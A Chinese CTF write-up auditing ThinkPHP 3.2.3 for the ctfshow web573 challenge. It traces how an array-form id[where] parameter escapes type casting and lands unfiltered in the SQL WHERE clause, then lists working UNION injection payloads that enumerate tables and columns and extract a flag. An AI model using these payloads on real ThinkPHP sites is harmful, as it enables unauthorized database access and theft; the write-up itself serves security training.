【Web】Ctfshow Thinkphp3.2.3代码审计(2)

web573

我们尝试先随便输一个字符串,跟一下代码 

因为1是number,所以会让$options['where']['id']=1

跟进_parseOptions

因为$options['where']是一个数组,所以会从if进入_parseType

跟进_parseType

这段代码的作用是根据数据库字段类型的定义,对数据进行相应的类型转换,以确保数据的类型与数据库字段类型匹配,从而提高数据的准确性和一致性。

比如数据库中的id是int型会进入intval函数,你输入1' union select * # 转换后就成了1。

这是我们不愿意看到的。

所以要用一些路子,不进入到下面的if判断里

 很明显就是让$options['where']不为数组就可以了。

即不让find进入下面的if判断,为此我们只要传一个数组就行了。

这里我们可以传一个 ?id[where]=1'

成功sql注入

下面尝试常规sql注入(已测出列数为4)

?id[where]=-1 union select group_concat(table_name) from information_schema.tables where table_schema=database(),2,3,4#

回显

发现WHERE后面直接跟了我们的输入,有点奇怪,继续跟代码

继续往下看select方法

跟进buildSelectSql()

 跟进parseSql()

 发现where可以利用,跟进parseWhere()

因为传进去的$options['where']是一个字符串,所以直接将$whereStr赋值为$where(即$options['where'])

方法返回一个拼接字符串WHERE.$whereStr

比如如果传入

id[where]=id=-1 union select * #

返回值就会拼接成WHERE id=-1 union select * #

这也就解释了上面报错的原因(没有传入id=)

 最后将返回值替换掉$selectSql中的%WHERE%

接下来就是常规sql注入了

 payload:

?id[where]=id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#
//ctfshow_users,flags

?id[where]=id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='flags'#
//id,flag4s

?id[where]=id=-1 union select 1,flag4s,3,4 from flags#
//ctfshow{b3328d70-9cdf-4928-a3ce-231abeb78542}

猜你喜欢

转载自blog.csdn.net/uuzeray/article/details/135210998
今日推荐